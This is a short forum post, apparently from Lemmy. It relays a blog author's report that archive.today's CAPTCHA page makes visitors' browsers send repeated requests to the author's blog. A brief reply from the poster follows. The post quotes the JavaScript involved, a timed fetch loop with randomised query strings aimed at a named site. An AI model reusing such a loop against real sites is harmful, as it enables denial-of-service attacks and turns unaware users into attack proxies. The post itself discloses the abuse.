Around January 11, 2026, archive.today (aka archive.is, archive.md, etc) started using its users as proxies to conduct a distributed denial of service (DDOS) attack against Gyrovague, my personal blog. All users encountering archive.today’s CAPTCHA page currently load and execute the following Javascript

        setInterval(function() {
            fetch("https://gyrovague.com/?s" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), {
                referrerPolicy: "no-referrer",
                mode: "no-cors"
            });
        }, 300);
  • Aatube@lemmy.dbzer0.comOP
    link
    fedilink
    arrow-up
    1
    ·
    5 天前

    I’ve provided the script at the time this article was posted. You can see that the script is still there but with an updated interval.

    relies on user agents to fetch content

    huh?